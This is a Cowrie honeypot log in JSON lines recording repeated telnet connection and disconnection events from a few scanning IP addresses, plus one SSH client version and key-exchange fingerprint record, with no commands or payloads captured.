{"eventid":"cowrie.session.closed","duration":5.523852586746216,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:25.468639Z","src_ip":"134.209.8.29","session":"4a96843b3dbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":45118,"dst_ip":"159.203.135.109","dst_port":23,"session":"67c48343d398","protocol":"telnet","message":"New connection: 66.111.11.103:45118 (159.203.135.109:23) [session: 67c48343d398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:25.493128Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":46180,"dst_ip":"159.203.135.109","dst_port":23,"session":"e91d0be1d55d","protocol":"telnet","message":"New connection: 66.111.11.103:46180 (159.203.135.109:23) [session: e91d0be1d55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:25.513561Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":46032,"dst_ip":"159.203.135.109","dst_port":23,"session":"c91a34f4a7a8","protocol":"telnet","message":"New connection: 66.111.11.103:46032 (159.203.135.109:23) [session: c91a34f4a7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:26.363987Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":47030,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe6debd1cacf","protocol":"telnet","message":"New connection: 66.111.11.103:47030 (159.203.135.109:23) [session: fe6debd1cacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:26.532700Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":47486,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77acd6de530","protocol":"telnet","message":"New connection: 66.111.11.103:47486 (159.203.135.109:23) [session: e77acd6de530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:27.063178Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":47600,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2fda906290e","protocol":"telnet","message":"New connection: 66.111.11.103:47600 (159.203.135.109:23) [session: b2fda906290e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:27.207097Z"}
{"eventid":"cowrie.session.closed","duration":57.84359908103943,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:27.743164Z","src_ip":"134.209.8.29","session":"e9ea87826c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":49184,"dst_ip":"159.203.135.109","dst_port":23,"session":"a218898dc995","protocol":"telnet","message":"New connection: 66.111.11.103:49184 (159.203.135.109:23) [session: a218898dc995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:29.362976Z"}
{"eventid":"cowrie.session.closed","duration":55.680028676986694,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:29.585778Z","src_ip":"134.209.8.29","session":"ea03c2b55bf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":47050,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a961fccfd64","protocol":"telnet","message":"New connection: 66.111.11.103:47050 (159.203.135.109:23) [session: 9a961fccfd64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:29.604015Z"}
{"eventid":"cowrie.session.closed","duration":30.76992917060852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:30.304533Z","src_ip":"66.111.11.103","session":"b81de4d9b40e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":49694,"dst_ip":"159.203.135.109","dst_port":23,"session":"32217c18c93b","protocol":"telnet","message":"New connection: 66.111.11.103:49694 (159.203.135.109:23) [session: 32217c18c93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:30.850504Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":50512,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cb3513d0d9a","protocol":"telnet","message":"New connection: 66.111.11.103:50512 (159.203.135.109:23) [session: 7cb3513d0d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:31.025580Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":50676,"dst_ip":"159.203.135.109","dst_port":23,"session":"426ea21949d5","protocol":"telnet","message":"New connection: 66.111.11.103:50676 (159.203.135.109:23) [session: 426ea21949d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:31.203735Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":51214,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d1fb5907f73","protocol":"telnet","message":"New connection: 66.111.11.103:51214 (159.203.135.109:23) [session: 8d1fb5907f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:32.064353Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":51460,"dst_ip":"159.203.135.109","dst_port":23,"session":"f25ce5c2278f","protocol":"telnet","message":"New connection: 66.111.11.103:51460 (159.203.135.109:23) [session: f25ce5c2278f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:32.374133Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":51270,"dst_ip":"159.203.135.109","dst_port":23,"session":"321c685eb37d","protocol":"telnet","message":"New connection: 66.111.11.103:51270 (159.203.135.109:23) [session: 321c685eb37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:33.144850Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":52296,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b16e3f43720","protocol":"telnet","message":"New connection: 66.111.11.103:52296 (159.203.135.109:23) [session: 6b16e3f43720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:33.681785Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":52302,"dst_ip":"159.203.135.109","dst_port":23,"session":"97de24875e4a","protocol":"telnet","message":"New connection: 66.111.11.103:52302 (159.203.135.109:23) [session: 97de24875e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:33.685656Z"}
{"eventid":"cowrie.session.closed","duration":30.667593002319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:33.715226Z","src_ip":"66.111.11.103","session":"425fdd32d5e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":52488,"dst_ip":"159.203.135.109","dst_port":23,"session":"992be1ad78be","protocol":"telnet","message":"New connection: 66.111.11.103:52488 (159.203.135.109:23) [session: 992be1ad78be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:34.026656Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":50528,"dst_ip":"159.203.135.109","dst_port":23,"session":"93214a89a36b","protocol":"telnet","message":"New connection: 66.111.11.103:50528 (159.203.135.109:23) [session: 93214a89a36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:34.037227Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c20c82935fe","protocol":"telnet","message":"New connection: 134.209.8.29:53042 (159.203.135.109:23) [session: 2c20c82935fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:34.229410Z"}
{"eventid":"cowrie.session.closed","duration":30.281092643737793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:34.234449Z","src_ip":"66.111.11.103","session":"55e491193cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":52716,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0c3c2781364","protocol":"telnet","message":"New connection: 66.111.11.103:52716 (159.203.135.109:23) [session: f0c3c2781364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:34.425166Z"}
{"eventid":"cowrie.session.closed","duration":31.154865741729736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:34.619180Z","src_ip":"66.111.11.103","session":"903d35b1b47c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":53272,"dst_ip":"159.203.135.109","dst_port":23,"session":"55f8f8be1b5c","protocol":"telnet","message":"New connection: 66.111.11.103:53272 (159.203.135.109:23) [session: 55f8f8be1b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:35.255944Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53048,"dst_ip":"159.203.135.109","dst_port":23,"session":"60536c503478","protocol":"telnet","message":"New connection: 134.209.8.29:53048 (159.203.135.109:23) [session: 60536c503478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:35.335796Z"}
{"eventid":"cowrie.session.closed","duration":47.74841570854187,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:35.625111Z","src_ip":"134.209.8.29","session":"58379ce665ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":54158,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8f27e88ffb8","protocol":"telnet","message":"New connection: 66.111.11.103:54158 (159.203.135.109:23) [session: f8f27e88ffb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:36.610453Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":54282,"dst_ip":"159.203.135.109","dst_port":23,"session":"7010ac482156","protocol":"telnet","message":"New connection: 66.111.11.103:54282 (159.203.135.109:23) [session: 7010ac482156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:36.741204Z"}
{"eventid":"cowrie.session.closed","duration":31.39447021484375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:37.012862Z","src_ip":"66.111.11.103","session":"a59bc459d3d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":54446,"dst_ip":"159.203.135.109","dst_port":23,"session":"41029f729857","protocol":"telnet","message":"New connection: 66.111.11.103:54446 (159.203.135.109:23) [session: 41029f729857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:37.139695Z"}
{"eventid":"cowrie.session.closed","duration":31.133373260498047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:38.330304Z","src_ip":"66.111.11.103","session":"8f527558bb81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":55552,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c99d2ac03f","protocol":"telnet","message":"New connection: 66.111.11.103:55552 (159.203.135.109:23) [session: a7c99d2ac03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:38.842477Z"}
{"eventid":"cowrie.session.closed","duration":30.939015865325928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:38.952329Z","src_ip":"66.111.11.103","session":"ab616c1337cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.380942821502686,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:39.190305Z","src_ip":"134.209.8.29","session":"b1b69d2a99bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":55330,"dst_ip":"159.203.135.109","dst_port":23,"session":"79cc251863c4","protocol":"telnet","message":"New connection: 66.111.11.103:55330 (159.203.135.109:23) [session: 79cc251863c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:39.465097Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":56458,"dst_ip":"159.203.135.109","dst_port":23,"session":"300ba7bb5afa","protocol":"telnet","message":"New connection: 66.111.11.103:56458 (159.203.135.109:23) [session: 300ba7bb5afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:40.407236Z"}
{"eventid":"cowrie.session.closed","duration":30.886764526367188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:40.634520Z","src_ip":"66.111.11.103","session":"10a2ecb7982d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30212140083313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:41.236816Z","src_ip":"66.111.11.103","session":"6fd4a55b15c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":56988,"dst_ip":"159.203.135.109","dst_port":23,"session":"bffced29a86b","protocol":"telnet","message":"New connection: 66.111.11.103:56988 (159.203.135.109:23) [session: bffced29a86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:41.302380Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":57038,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9027258f3ff","protocol":"telnet","message":"New connection: 66.111.11.103:57038 (159.203.135.109:23) [session: c9027258f3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:41.421049Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":55668,"dst_ip":"159.203.135.109","dst_port":23,"session":"33cf732ae727","protocol":"telnet","message":"New connection: 66.111.11.103:55668 (159.203.135.109:23) [session: 33cf732ae727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:41.966924Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":55672,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab720bd0f497","protocol":"telnet","message":"New connection: 66.111.11.103:55672 (159.203.135.109:23) [session: ab720bd0f497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:41.970922Z"}
{"eventid":"cowrie.session.closed","duration":31.14452290534973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:42.888802Z","src_ip":"66.111.11.103","session":"446f3920283b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":57540,"dst_ip":"159.203.135.109","dst_port":23,"session":"db49c2117e39","protocol":"telnet","message":"New connection: 66.111.11.103:57540 (159.203.135.109:23) [session: db49c2117e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:43.184554Z"}
{"eventid":"cowrie.session.closed","duration":30.716145515441895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:43.422247Z","src_ip":"66.111.11.103","session":"4b0184ab11b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":56494,"dst_ip":"159.203.135.109","dst_port":23,"session":"2898c37b1560","protocol":"telnet","message":"New connection: 66.111.11.103:56494 (159.203.135.109:23) [session: 2898c37b1560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:43.458239Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":58396,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a1f179c7ce3","protocol":"telnet","message":"New connection: 66.111.11.103:58396 (159.203.135.109:23) [session: 9a1f179c7ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:43.834253Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":58014,"dst_ip":"159.203.135.109","dst_port":23,"session":"19c359cec2d2","protocol":"telnet","message":"New connection: 66.111.11.103:58014 (159.203.135.109:23) [session: 19c359cec2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:44.115580Z"}
{"eventid":"cowrie.session.closed","duration":31.149295330047607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:45.544682Z","src_ip":"66.111.11.103","session":"b96f18265aa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.304231643676758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:45.594592Z","src_ip":"66.111.11.103","session":"4dccbe498377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":59460,"dst_ip":"159.203.135.109","dst_port":23,"session":"a748916141ee","protocol":"telnet","message":"New connection: 66.111.11.103:59460 (159.203.135.109:23) [session: a748916141ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:45.723904Z"}
{"eventid":"cowrie.session.closed","duration":30.57589340209961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:46.173022Z","src_ip":"66.111.11.103","session":"7997f9ecf3d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":59834,"dst_ip":"159.203.135.109","dst_port":23,"session":"b43d4aa95725","protocol":"telnet","message":"New connection: 66.111.11.103:59834 (159.203.135.109:23) [session: b43d4aa95725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:46.338162Z"}
{"eventid":"cowrie.session.closed","duration":30.327802419662476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:46.417104Z","src_ip":"66.111.11.103","session":"d6b97e32c734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945677280426025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:46.798084Z","src_ip":"66.111.11.103","session":"c18b396a72ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.940486907958984,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:47.786149Z","src_ip":"134.209.8.29","session":"ea9478a078a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.340039253234863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:48.129934Z","src_ip":"66.111.11.103","session":"9ec49c7aebaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39554452896118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:48.180727Z","src_ip":"66.111.11.103","session":"5ceefae867d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55076,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2da4ec17818","protocol":"telnet","message":"New connection: 134.209.8.29:55076 (159.203.135.109:23) [session: c2da4ec17818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:48.460504Z"}
{"eventid":"cowrie.session.closed","duration":31.133877515792847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:48.979750Z","src_ip":"66.111.11.103","session":"854f38976a3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746280193328857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:49.286938Z","src_ip":"66.111.11.103","session":"9cc9655ce58f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55080,"dst_ip":"159.203.135.109","dst_port":23,"session":"7353b063ff1a","protocol":"telnet","message":"New connection: 134.209.8.29:55080 (159.203.135.109:23) [session: 7353b063ff1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:49.483462Z"}
{"eventid":"cowrie.session.closed","duration":31.1398823261261,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:50.061620Z","src_ip":"66.111.11.103","session":"b42918d40e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33526,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d191b305f2","protocol":"telnet","message":"New connection: 66.111.11.103:33526 (159.203.135.109:23) [session: 95d191b305f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:50.158204Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33554,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8316eb58c59","protocol":"telnet","message":"New connection: 66.111.11.103:33554 (159.203.135.109:23) [session: e8316eb58c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:50.193814Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33567,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ff0c5380ba","protocol":"telnet","message":"New connection: 66.111.11.103:33567 (159.203.135.109:23) [session: 96ff0c5380ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:50.212321Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":46558,"dst_ip":"10.17.0.5","dst_port":22,"session":"199df4652dd1","protocol":"ssh","message":"New connection: 147.50.231.135:46558 (10.17.0.5:22) [session: 199df4652dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:50.369012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:50.374285Z","src_ip":"147.50.231.135","session":"199df4652dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:50.636076Z","src_ip":"147.50.231.135","session":"199df4652dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.71632981300354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.142978Z","src_ip":"66.111.11.103","session":"26d07f41b2f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33522,"dst_ip":"159.203.135.109","dst_port":23,"session":"f686dae57183","protocol":"telnet","message":"New connection: 66.111.11.103:33522 (159.203.135.109:23) [session: f686dae57183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:13:51.149305Z"}
